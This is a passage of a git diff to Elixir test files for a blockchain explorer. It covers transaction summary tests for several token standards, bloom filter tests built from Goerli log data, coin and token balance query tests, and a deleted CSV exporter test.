transaction", + to_address_hash: to_address.hash, + transaction_hash: transaction_hash, + transaction_fee: fee, + type: "COIN" + } + ] + end + + test "Pending Coin transaction (w/o block)" do + transaction = + %Transaction{ + from_address: _from_address, + to_address: _to_address, + hash: _transaction_hash + } = insert(:transaction) + + assert Summary.process(transaction) == [] + end + + test "Contract creation transaction" do + address = insert(:address) + contract_address = insert(:contract_address) + + block = insert(:block) + + transaction = + %Transaction{ + from_address: _from_address, + block_number: _block_number, + hash: transaction_hash + } = + :transaction + |> insert(from_address: address, to_address: nil) + |> with_contract_creation(contract_address) + |> with_block(block) + + {_, fee} = Transaction.fee(transaction, :gwei) + amount = Wei.to(transaction.value, :ether) + + assert Summary.process(transaction) == [ + %Summary{ + amount: amount, + block_number: block.number, + from_address_hash: address.hash, + method: "contract_creation", + name: "ETH", + subject: "Contract creation", + to_address_hash: contract_address.hash, + transaction_hash: transaction_hash, + transaction_fee: fee, + type: "COIN" + } + ] + end + + test "ERC-20 Token transfer" do + transaction = + %Transaction{ + from_address: transaction_from_address, + to_address: transaction_to_address, + block_number: block_number, + hash: transaction_hash + } = with_block(insert(:transaction)) + + transaction_amount = Wei.to(transaction.value, :ether) + + transfer = + %TokenTransfer{ + amount: _amount, + block_number: _block_number, + from_address: from_address, + to_address: to_address, + token: token + } = + :token_transfer + |> insert(transaction: transaction, block: transaction.block, block_number: transaction.block_number) + |> Repo.preload([ + :token + ]) + + {_, fee} = Transaction.fee(transaction, :gwei) + + token_decimals = Decimal.to_integer(token.decimals) + + decimals = Decimal.new(Integer.pow(10, token_decimals)) + + amount = Decimal.div(transfer.amount, decimals) + + assert Summary.process(transaction) == [ + %Summary{ + amount: transaction_amount, + block_number: block_number, + from_address_hash: transaction_from_address.hash, + method: "transfer", + name: "ETH", + subject: "Coin transaction", + to_address_hash: transaction_to_address.hash, + transaction_hash: transaction_hash, + transaction_fee: fee, + type: "COIN" + }, + %Summary{ + amount: amount, + block_number: block_number, + from_address_hash: from_address.hash, + method: "transfer", + name: "Infinite Token", + subject: "ERC-20", + to_address_hash: to_address.hash, + transaction_hash: transaction.hash, + transaction_fee: fee, + type: "ERC-20" + } + ] + end + + test "ERC-721 Token transfer" do + token = insert(:token, type: "ERC-721") + + transaction = + %Transaction{ + from_address: transaction_from_address, + to_address: transaction_to_address, + block_number: block_number, + hash: transaction_hash + } = with_block(insert(:transaction)) + + transaction_amount = Wei.to(transaction.value, :ether) + + %TokenTransfer{ + amount: _amount, + block_number: _block_number, + from_address: from_address, + to_address: to_address + } = + :token_transfer + |> insert( + transaction: transaction, + token_ids: [42], + token_contract_address: token.contract_address, + block: transaction.block, + block_number: transaction.block_number + ) + + {_, fee} = Transaction.fee(transaction, :gwei) + + assert Summary.process(transaction) == [ + %Summary{ + amount: transaction_amount, + block_number: block_number, + from_address_hash: transaction_from_address.hash, + method: "transfer", + name: "ETH", + subject: "Coin transaction", + to_address_hash: transaction_to_address.hash, + transaction_hash: transaction_hash, + transaction_fee: fee, + type: "COIN" + }, + %Summary{ + amount: 0, + block_number: block_number, + from_address_hash: from_address.hash, + method: "transfer", + name: "Infinite Token", + subject: "42", + to_address_hash: to_address.hash, + transaction_hash: transaction.hash, + transaction_fee: fee, + type: "ERC-721" + } + ] + end + + test "ERC-1155 single Token transfer" do + token = insert(:token, type: "ERC-1155") + + transaction = + %Transaction{ + from_address: transaction_from_address, + to_address: transaction_to_address, + block_number: block_number, + hash: transaction_hash + } = with_block(insert(:transaction)) + + transaction_amount = Wei.to(transaction.value, :ether) + + %TokenTransfer{ + amount: _amount, + block_number: _block_number, + from_address: from_address, + to_address: to_address + } = + :token_transfer + |> insert( + transaction: transaction, + token_ids: [42], + token_contract_address: token.contract_address, + block: transaction.block, + block_number: transaction.block_number + ) + + {_, fee} = Transaction.fee(transaction, :gwei) + + assert Summary.process(transaction) == [ + %Summary{ + amount: transaction_amount, + block_number: block_number, + from_address_hash: transaction_from_address.hash, + method: "transfer", + name: "ETH", + subject: "Coin transaction", + to_address_hash: transaction_to_address.hash, + transaction_hash: transaction_hash, + transaction_fee: fee, + type: "COIN" + }, + %Summary{ + amount: 0, + block_number: block_number, + from_address_hash: from_address.hash, + method: "transfer", + name: "Infinite Token", + subject: "42", + to_address_hash: to_address.hash, + transaction_hash: transaction.hash, + transaction_fee: fee, + type: "ERC-1155" + } + ] + end + + test "ERC-1155 multiple Token transfer" do + token = insert(:token, type: "ERC-1155") + + transaction = + %Transaction{ + from_address: transaction_from_address, + to_address: transaction_to_address, + block_number: block_number, + hash: transaction_hash + } = with_block(insert(:transaction)) + + transaction_amount = Wei.to(transaction.value, :ether) + + %TokenTransfer{ + amount: _amount, + block_number: _block_number, + from_address: from_address, + to_address: to_address + } = + :token_transfer + |> insert( + transaction: transaction, + token_ids: [23, 42], + token_contract_address: token.contract_address, + block: transaction.block, + block_number: transaction.block_number + ) + + {_, fee} = Transaction.fee(transaction, :gwei) + + assert Summary.process(transaction) == [ + %Summary{ + amount: transaction_amount, + block_number: block_number, + from_address_hash: transaction_from_address.hash, + method: "transfer", + name: "ETH", + subject: "Coin transaction", + to_address_hash: transaction_to_address.hash, + transaction_hash: transaction_hash, + transaction_fee: fee, + type: "COIN" + }, + %Summary{ + amount: 0, + block_number: block_number, + from_address_hash: from_address.hash, + method: "transfer", + name: "Infinite Token", + subject: "23, 42", + to_address_hash: to_address.hash, + transaction_hash: transaction.hash, + transaction_fee: fee, + type: "ERC-1155" + } + ] + end + + test "ERC-404 Token transfer with token id" do + token = insert(:token, type: "ERC-404") + + transaction = + %Transaction{ + from_address: transaction_from_address, + to_address: transaction_to_address, + block_number: block_number, + hash: transaction_hash + } = with_block(insert(:transaction)) + + transaction_amount = Wei.to(transaction.value, :ether) + + transfer = + %TokenTransfer{ + amount: _amount, + block_number: _block_number, + from_address: from_address, + to_address: to_address + } = + :token_transfer + |> insert( + transaction: transaction, + token_ids: [42], + token_contract_address: token.contract_address, + block: transaction.block, + block_number: transaction.block_number + ) + + {_, fee} = Transaction.fee(transaction, :gwei) + + token_decimals = Decimal.to_integer(token.decimals) + + decimals = Decimal.new(Integer.pow(10, token_decimals)) + + amount = Decimal.div(transfer.amount, decimals) + + assert Summary.process(transaction) == [ + %Summary{ + amount: transaction_amount, + block_number: block_number, + from_address_hash: transaction_from_address.hash, + method: "transfer", + name: "ETH", + subject: "Coin transaction", + to_address_hash: transaction_to_address.hash, + transaction_hash: transaction_hash, + transaction_fee: fee, + type: "COIN" + }, + %Summary{ + amount: amount, + block_number: block_number, + from_address_hash: from_address.hash, + method: "transfer", + name: "Infinite Token", + subject: "42", + to_address_hash: to_address.hash, + transaction_hash: transaction_hash, + transaction_fee: fee, + type: "ERC-404" + } + ] + end + + test "ERC-404 Token transfer without token id" do + token = insert(:token, type: "ERC-404") + + transaction = + %Transaction{ + from_address: transaction_from_address, + to_address: transaction_to_address, + block_number: block_number, + hash: transaction_hash + } = with_block(insert(:transaction)) + + transaction_amount = Wei.to(transaction.value, :ether) + + transfer = + %TokenTransfer{ + amount: _amount, + block_number: _block_number, + from_address: from_address, + to_address: to_address + } = + :token_transfer + |> insert( + transaction: transaction, + token_ids: [], + token_contract_address: token.contract_address, + block: transaction.block, + block_number: transaction.block_number + ) + + {_, fee} = Transaction.fee(transaction, :gwei) + + token_decimals = Decimal.to_integer(token.decimals) + + decimals = Decimal.new(Integer.pow(10, token_decimals)) + + amount = Decimal.div(transfer.amount, decimals) + + assert Summary.process(transaction) == [ + %Summary{ + amount: transaction_amount, + block_number: block_number, + from_address_hash: transaction_from_address.hash, + method: "transfer", + name: "ETH", + subject: "Coin transaction", + to_address_hash: transaction_to_address.hash, + transaction_hash: transaction_hash, + transaction_fee: fee, + type: "COIN" + }, + %Summary{ + amount: amount, + block_number: block_number, + from_address_hash: from_address.hash, + method: "transfer", + name: "Infinite Token", + subject: "ERC-404", + to_address_hash: to_address.hash, + transaction_hash: transaction.hash, + transaction_fee: fee, + type: "ERC-404" + } + ] + end + end +end diff --git a/apps/explorer/test/explorer/admin/administrator/role_test.exs b/apps/explorer/test/explorer/admin/administrator/role_test.exs index 2584cea3e187..c65b05904bf2 100644 --- a/apps/explorer/test/explorer/admin/administrator/role_test.exs +++ b/apps/explorer/test/explorer/admin/administrator/role_test.exs @@ -1,4 +1,4 @@ -defmodule Exploer.Admin.Administrator.RoleTest do +defmodule Explorer.Admin.Administrator.RoleTest do use ExUnit.Case alias Explorer.Admin.Administrator.Role diff --git a/apps/explorer/test/explorer/bloom_filter_test.exs b/apps/explorer/test/explorer/bloom_filter_test.exs new file mode 100644 index 000000000000..e9ec4a2c5106 --- /dev/null +++ b/apps/explorer/test/explorer/bloom_filter_test.exs @@ -0,0 +1,63 @@ +defmodule Explorer.BloomFilterTest do + use Explorer.DataCase + + alias Explorer.BloomFilter + + describe "Test bloom filter for random Goerli transactions" do + # {"jsonrpc":"2.0","id": 0,"method":"eth_getTransactionReceipt","params":["0xFE524295C6C01AB25645035A228387BF0E64C8AF429F3DD9D6EF2E3B05337839"]} + test "#1 (0xFE524295C6C01AB25645035A228387BF0E64C8AF429F3DD9D6EF2E3B05337839)" do + log_1 = + insert(:log, + first_topic: "0xb3813568d9991fc951961fcb4c784893574240a28925604d09fc577c55bb7c32", + second_topic: "0x000000000000000000000000e38ecdf3cfbaf5cf347e6a3d6490eb34e3a0119d", + third_topic: "0x000000000000000000000000e38ecdf3cfbaf5cf347e6a3d6490eb34e3a0119d", + fourth_topic: "0x0000000000000000000000000000000000000000000000000000000000000000", + address_hash: "0xe93c8cd0d409341205a592f8c4ac1a5fe5585cfa", + address: nil + ) + + assert BloomFilter.logs_bloom([log_1]) |> Base.encode16(case: :lower) == + "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000040000000000000000000000000002000000000000000000000000000000000000000000000000030000000000000000000800000000000000000000000000000000000000000000000002000000008000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000002000000000000000080000000000000000000000" + end + + test "#2 (0x9f44d7080354147fc42ee0eb62c8f77d0477e7686d18debcb81f90b0d54ea1d1)" do + log_1 = + insert(:log, + first_topic: "0x9866f8ddfe70bb512b2f2b28b49d4017c43f7ba775f1a20c61c13eea8cdac111", + second_topic: nil, + third_topic: nil, + fourth_topic: nil, + address_hash: "0xd5c325d183c592c94998000c5e0eed9e6655c020", + address: nil + ) + + log_2 = + insert(:log, + first_topic: "0xd342ddf7a308dec111745b00315c14b7efb2bdae570a6856e088ed0c65a3576c", + second_topic: nil, + third_topic: nil, + fourth_topic: nil, + address_hash: "0xd5c325d183c592c94998000c5e0eed9e6655c020", + address: nil + ) + + assert BloomFilter.logs_bloom([log_1, log_2]) |> Base.encode16(case: :lower) == + "00000000010002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000800000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000020000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000" + end + + test "#3 (0x2548b6514211bafdfeff37dc184c4700c8ca7056ac2a119bef5a98f8a79662cc)" do + log_1 = + insert(:log, + first_topic: "0x1a37b94876a9c4d5697c33a6fc124022beba6ce60e84469f41d49536d2a55924", + second_topic: "0x000000000000000000000000000000000000000000000000000000000001ba63", + third_topic: "0x00000000000000000000000000000000000000000000000000f8b0a10e470000", + fourth_topic: "0x0000000000000000000000000000000000000000000000000000000000000002", + address_hash: "0x2a5ccc8813d89119263b49f567c541e925c75f13", + address: nil + ) + + assert BloomFilter.logs_bloom([log_1]) |> Base.encode16(case: :lower) == + "04000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000420000000000000000000000800000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000020000000000000000000000000000000100000000000100000000000002010000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000010000000000000" + end + end +end diff --git a/apps/explorer/test/explorer/chain/address/coin_balance_test.exs b/apps/explorer/test/explorer/chain/address/coin_balance_test.exs index 171a2764c033..b87e25750b46 100644 --- a/apps/explorer/test/explorer/chain/address/coin_balance_test.exs +++ b/apps/explorer/test/explorer/chain/address/coin_balance_test.exs @@ -3,7 +3,7 @@ defmodule Explorer.Chain.Address.CoinBalanceTest do alias Ecto.Changeset alias Explorer.Chain.Address.CoinBalance - alias Explorer.Chain.{Block, Wei} + alias Explorer.Chain.{Address, Block, Wei} alias Explorer.PagingOptions describe "changeset/2" do @@ -298,4 +298,408 @@ defmodule Explorer.Chain.Address.CoinBalanceTest do assert(value == Wei.from(Decimal.new(2000), :wei)) end end + + describe "stream_unfetched_balances/2" do + test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> + "does not return `t:Explorer.Chain.Block.t/0` `miner_hash`" do + %Address{hash: miner_hash} = miner = insert(:address) + %Block{number: block_number} = insert(:block, miner: miner) + balance = insert(:unfetched_balance, address_hash: miner_hash, block_number: block_number) + + assert {:ok, [%{address_hash: ^miner_hash, block_number: ^block_number}]} = + CoinBalance.stream_unfetched_balances([], &[&1 | &2]) + + update_balance_value(balance, 1) + + assert {:ok, []} = CoinBalance.stream_unfetched_balances([], &[&1 | &2]) + end + + test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> + "does not return `t:Explorer.Chain.Transaction.t/0` `from_address_hash`" do + %Address{hash: from_address_hash} = from_address = insert(:address) + %Block{number: block_number} = block = insert(:block) + + :transaction + |> insert(from_address: from_address) + |> with_block(block) + + balance = insert(:unfetched_balance, address_hash: from_address_hash, block_number: block_number) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + assert %{address_hash: from_address_hash, block_number: block_number} in balance_fields_list + + update_balance_value(balance, 1) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + refute %{address_hash: from_address_hash, block_number: block_number} in balance_fields_list + end + + test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> + "does not return `t:Explorer.Chain.Transaction.t/0` `to_address_hash`" do + %Address{hash: to_address_hash} = to_address = insert(:address) + %Block{number: block_number} = block = insert(:block) + + :transaction + |> insert(to_address: to_address) + |> with_block(block) + + balance = insert(:unfetched_balance, address_hash: to_address_hash, block_number: block_number) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + assert %{address_hash: to_address_hash, block_number: block_number} in balance_fields_list + + update_balance_value(balance, 1) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + refute %{address_hash: to_address_hash, block_number: block_number} in balance_fields_list + end + + test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> + "does not return `t:Explorer.Chain.Log.t/0` `address_hash`" do + address = insert(:address) + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + insert(:log, address: address, transaction: transaction, block: block, block_number: block.number) + + balance = insert(:unfetched_balance, address_hash: address.hash, block_number: block.number) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + assert %{ + address_hash: address.hash, + block_number: block.number + } in balance_fields_list + + update_balance_value(balance, 1) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + refute %{ + address_hash: address.hash, + block_number: block.number + } in balance_fields_list + end + + test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> + "does not return `t:Explorer.Chain.InternalTransaction.t/0` `created_contract_address_hash`" do + created_contract_address = insert(:address) + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + insert( + :internal_transaction_create, + created_contract_address: created_contract_address, + index: 0, + transaction: transaction, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + balance = insert(:unfetched_balance, address_hash: created_contract_address.hash, block_number: block.number) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + assert %{ + address_hash: created_contract_address.hash, + block_number: block.number + } in balance_fields_list + + update_balance_value(balance, 1) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + refute %{ + address_hash: created_contract_address.hash, + block_number: block.number + } in balance_fields_list + end + + test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> + "does not return `t:Explorer.Chain.InternalTransaction.t/0` `from_address_hash`" do + from_address = insert(:address) + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + insert( + :internal_transaction_create, + from_address: from_address, + index: 0, + transaction: transaction, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + balance = insert(:unfetched_balance, address_hash: from_address.hash, block_number: block.number) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + assert %{address_hash: from_address.hash, block_number: block.number} in balance_fields_list + + update_balance_value(balance, 1) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + refute %{address_hash: from_address.hash, block_number: block.number} in balance_fields_list + end + + test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> + "does not return `t:Explorer.Chain.InternalTransaction.t/0` `to_address_hash`" do + to_address = insert(:address) + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + insert( + :internal_transaction_create, + to_address: to_address, + index: 0, + transaction: transaction, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + balance = insert(:unfetched_balance, address_hash: to_address.hash, block_number: block.number) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + assert %{address_hash: to_address.hash, block_number: block.number} in balance_fields_list + + update_balance_value(balance, 1) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + refute %{address_hash: to_address.hash, block_number: block.number} in balance_fields_list + end + + test "an address_hash used for multiple block_numbers returns all block_numbers" do + miner = insert(:address) + mined_block = insert(:block, miner: miner) + + insert(:unfetched_balance, address_hash: miner.hash, block_number: mined_block.number) + + from_transaction_block = insert(:block) + + :transaction + |> insert(from_address: miner) + |> with_block(from_transaction_block) + + insert(:unfetched_balance, address_hash: miner.hash, block_number: from_transaction_block.number) + + to_transaction_block = insert(:block) + + :transaction + |> insert(to_address: miner) + |> with_block(to_transaction_block) + + insert(:unfetched_balance, address_hash: miner.hash, block_number: to_transaction_block.number) + + log_block = insert(:block) + + log_transaction = + :transaction + |> insert() + |> with_block(log_block) + + insert(:log, address: miner, transaction: log_transaction, block: log_block, block_number: log_block.number) + insert(:unfetched_balance, address_hash: miner.hash, block_number: log_block.number) + + from_internal_transaction_block = insert(:block) + + from_internal_transaction_transaction = + :transaction + |> insert() + |> with_block(from_internal_transaction_block) + + insert( + :internal_transaction_create, + from_address: miner, + index: 0, + transaction: from_internal_transaction_transaction, + block_number: from_internal_transaction_transaction.block_number, + block_hash: from_internal_transaction_transaction.block_hash, + block_index: 0, + transaction_index: from_internal_transaction_transaction.index + ) + + insert(:unfetched_balance, address_hash: miner.hash, block_number: from_internal_transaction_block.number) + + to_internal_transaction_block = insert(:block) + + to_internal_transaction_transaction = + :transaction + |> insert() + |> with_block(to_internal_transaction_block) + + insert( + :internal_transaction_create, + index: 0, + to_address: miner, + transaction: to_internal_transaction_transaction, + block_number: to_internal_transaction_transaction.block_number, + block_hash: to_internal_transaction_transaction.block_hash, + block_index: 0, + transaction_index: to_internal_transaction_transaction.index + ) + + insert(:unfetched_balance, address_hash: miner.hash, block_number: to_internal_transaction_block.number) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + balance_fields_list_by_address_hash = Enum.group_by(balance_fields_list, & &1.address_hash) + + assert balance_fields_list_by_address_hash[miner.hash] |> Enum.map(& &1.block_number) |> Enum.sort() == + Enum.sort([ + to_internal_transaction_block.number, + from_internal_transaction_block.number, + log_block.number, + to_transaction_block.number, + from_transaction_block.number, + mined_block.number + ]) + end + + test "an address_hash used for the same block_number is only returned once" do + miner = insert(:address) + block = insert(:block, miner: miner) + + insert(:unfetched_balance, address_hash: miner.hash, block_number: block.number) + + :transaction + |> insert(from_address: miner) + |> with_block(block) + + :transaction + |> insert(to_address: miner) + |> with_block(block) + + log_transaction = + :transaction + |> insert() + |> with_block(block) + + insert(:log, address: miner, transaction: log_transaction, block: block, block_number: block.number) + + from_internal_transaction_transaction = + :transaction + |> insert() + |> with_block(block) + + insert( + :internal_transaction_create, + from_address: miner, + index: 0, + transaction: from_internal_transaction_transaction, + block_number: from_internal_transaction_transaction.block_number, + block_hash: from_internal_transaction_transaction.block_hash, + block_index: 0, + transaction_index: from_internal_transaction_transaction.index + ) + + to_internal_transaction_transaction = + :transaction + |> insert() + |> with_block(block) + + insert( + :internal_transaction_create, + to_address: miner, + index: 0, + transaction: to_internal_transaction_transaction, + block_number: to_internal_transaction_transaction.block_number, + block_hash: to_internal_transaction_transaction.block_hash, + block_index: 1, + transaction_index: to_internal_transaction_transaction.index + ) + + {:ok, balance_fields_list} = + CoinBalance.stream_unfetched_balances( + [], + fn balance_fields, acc -> [balance_fields | acc] end + ) + + balance_fields_list_by_address_hash = Enum.group_by(balance_fields_list, & &1.address_hash) + + assert balance_fields_list_by_address_hash[miner.hash] |> Enum.map(& &1.block_number) |> Enum.sort() == [ + block.number + ] + end + end end diff --git a/apps/explorer/test/explorer/chain/address/current_token_balance_test.exs b/apps/explorer/test/explorer/chain/address/current_token_balance_test.exs index e7a366377ee4..6ca3bd6f0092 100644 --- a/apps/explorer/test/explorer/chain/address/current_token_balance_test.exs +++ b/apps/explorer/test/explorer/chain/address/current_token_balance_test.exs @@ -157,7 +157,7 @@ defmodule Explorer.Chain.Address.CurrentTokenBalanceTest do address.hash |> CurrentTokenBalance.last_token_balances() |> Repo.all() - |> Enum.map(fn {token_balance, _} -> token_balance.address_hash end) + |> Enum.map(fn token_balance -> token_balance.address_hash end) assert token_balances == [current_token_balance.address_hash] end @@ -195,9 +195,36 @@ defmodule Explorer.Chain.Address.CurrentTokenBalanceTest do address.hash |> CurrentTokenBalance.last_token_balances() |> Repo.all() - |> Enum.map(fn {token_balance, _} -> token_balance.address_hash end) + |> Enum.map(fn token_balance -> token_balance.address_hash end) assert token_balances == [current_token_balance_a.address_hash] end end + + describe "count_token_holders_from_token_hash" do + test "returns the most current count about token holders" do + address_a = insert(:address, hash: "0xe49fedd93960a0267b3c3b2c1e2d66028e013fee") + address_b = insert(:address, hash: "0x5f26097334b6a32b7951df61fd0c5803ec5d8354") + + %Token{contract_address_hash: contract_address_hash} = insert(:token) + + insert( + :address_current_token_balance, + address: address_a, + block_number: 1000, + token_contract_address_hash: contract_address_hash, + value: 5000 + ) + + insert( + :address_current_token_balance, + address: address_b, + block_number: 1002, + token_contract_address_hash: contract_address_hash, + value: 1000 + ) + + assert CurrentTokenBalance.count_token_holders_from_token_hash(contract_address_hash) == 2 + end + end end diff --git a/apps/explorer/test/explorer/chain/address/token_balance_test.exs b/apps/explorer/test/explorer/chain/address/token_balance_test.exs index 4c59c675bf3d..3e1a8018289a 100644 --- a/apps/explorer/test/explorer/chain/address/token_balance_test.exs +++ b/apps/explorer/test/explorer/chain/address/token_balance_test.exs @@ -46,6 +46,7 @@ defmodule Explorer.Chain.Address.TokenBalanceTest do :token_balance, address: burn_address, token_contract_address_hash: token.contract_address_hash, + token_type: "ERC-721", value_fetched_at: nil ) @@ -76,4 +77,46 @@ defmodule Explorer.Chain.Address.TokenBalanceTest do assert result.block_number == token_balance.block_number end end + + describe "fetch_token_balance/4" do + test "returns the token balance for the given address" do + token_balance = insert(:token_balance) + + result = + TokenBalance.fetch_token_balance( + token_balance.address_hash, + token_balance.token_contract_address_hash, + token_balance.block_number + ) + |> Repo.one() + + assert(result.address_hash == token_balance.address_hash) + end + + test "returns the token balance only from block less or equal than given for the given address" do + address = insert(:address) + token_balance_a = insert(:token_balance, address: address, block_number: 10) + + result = + TokenBalance.fetch_token_balance( + token_balance_a.address_hash, + token_balance_a.token_contract_address_hash, + token_balance_a.block_number - 3 + ) + |> Repo.one() + + assert(is_nil(result)) + token_balance_b = insert(:token_balance, address: address, block_number: token_balance_a.block_number - 3) + + result = + TokenBalance.fetch_token_balance( + token_balance_b.address_hash, + token_balance_b.token_contract_address_hash, + token_balance_b.block_number + ) + |> Repo.one() + + assert(result.value == token_balance_b.value) + end + end end diff --git a/apps/explorer/test/explorer/chain/address_internal_transaction_csv_exporter_test.exs b/apps/explorer/test/explorer/chain/address_internal_transaction_csv_exporter_test.exs deleted file mode 100644 index 34494dc932fb..000000000000 --- a/apps/explorer/test/explorer/chain/address_internal_transaction_csv_exporter_test.exs +++ /dev/null @@ -1,189 +0,0 @@ -defmodule Explorer.Chain.AddressInternalTransactionCsvExporterTest do - use Explorer.DataCase - - alias Explorer.Chain.{AddressInternalTransactionCsvExporter, Wei} - - describe "export/3" do - test "exports address internal transactions to csv" do - address = insert(:address) - - transaction = - :transaction - |> insert() - |> with_block() - - internal_transaction = - insert(:internal_transaction, - index: 1, - transaction: transaction, - from_address: address, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 1, - transaction_index: transaction.index - ) - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - res = - address - |> AddressInternalTransactionCsvExporter.export(from_period, to_period) - |> Enum.to_list() - |> Enum.drop(1) - - [result] = - res - |> Enum.map(fn [ - [[], transaction_hash], - _, - [[], index], - _, - [[], block_number], - _, - [[], block_hash], - _, - [[], block_index], - _, - [[], transaction_index], - _, - [[], timestamp], - _, - [[], from_address_hash], - _, - [[], to_address_hash], - _, - [[], created_contract_address_hash], - _, - [[], type], - _, - [[], call_type], - _, - [[], gas], - _, - [[], gas_used], - _, - [[], value], - _, - [[], input], - _, - [[], output], - _, - [[], error], - _ - ] -> - %{ - transaction_hash: transaction_hash, - index: index, - block_number: block_number, - block_index: block_index, - block_hash: block_hash, - transaction_index: transaction_index, - timestamp: timestamp, - from_address_hash: from_address_hash, - to_address_hash: to_address_hash, - created_contract_address_hash: created_contract_address_hash, - type: type, - call_type: call_type, - gas: gas, - gas_used: gas_used, - value: value, - input: input, - output: output, - error: error - } - end) - - assert result.transaction_hash == to_string(internal_transaction.transaction_hash) - assert result.index == to_string(internal_transaction.index) - assert result.block_number == to_string(internal_transaction.block_number) - assert result.block_index == to_string(internal_transaction.block_index) - assert result.block_hash == to_string(internal_transaction.block_hash) - assert result.transaction_index == to_string(internal_transaction.transaction_index) - assert result.timestamp - assert result.from_address_hash == to_string(internal_transaction.from_address_hash) - assert result.to_address_hash == to_string(internal_transaction.to_address_hash) - assert result.created_contract_address_hash == to_string(internal_transaction.created_contract_address_hash) - assert result.type == to_string(internal_transaction.type) - assert result.call_type == to_string(internal_transaction.call_type) - assert result.gas == to_string(internal_transaction.gas) - assert result.gas_used == to_string(internal_transaction.gas_used) - assert result.value == internal_transaction.value |> Wei.to(:wei) |> to_string() - assert result.input == to_string(internal_transaction.input) - assert result.output == to_string(internal_transaction.output) - assert result.error == to_string(internal_transaction.error) - end - - test "fetches all internal transactions" do - address = insert(:address) - - 1..200 - |> Enum.map(fn index -> - transaction = - :transaction - |> insert() - |> with_block() - - insert(:internal_transaction, - index: index, - transaction: transaction, - from_address: address, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: index, - transaction_index: transaction.index - ) - end) - |> Enum.count() - - 1..200 - |> Enum.map(fn index -> - transaction = - :transaction - |> insert() - |> with_block() - - insert(:internal_transaction, - index: index, - transaction: transaction, - to_address: address, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: index, - transaction_index: transaction.index - ) - end) - |> Enum.count() - - 1..200 - |> Enum.map(fn index -> - transaction = - :transaction - |> insert() - |> with_block() - - insert(:internal_transaction, - index: index, - transaction: transaction, - created_contract_address: address, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: index, - transaction_index: transaction.index - ) - end) - |> Enum.count() - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - result = - address - |> AddressInternalTransactionCsvExporter.export(from_period, to_period) - |> Enum.to_list() - |> Enum.drop(1) - - assert Enum.count(result) == 600 - end - end -end diff --git a/apps/explorer/test/explorer/chain/address_log_csv_exporter_test.exs b/apps/explorer/test/explorer/chain/address_log_csv_exporter_test.exs deleted file mode 100644 index fe1d0601a88e..000000000000 --- a/apps/explorer/test/explorer/chain/address_log_csv_exporter_test.exs +++ /dev/null @@ -1,117 +0,0 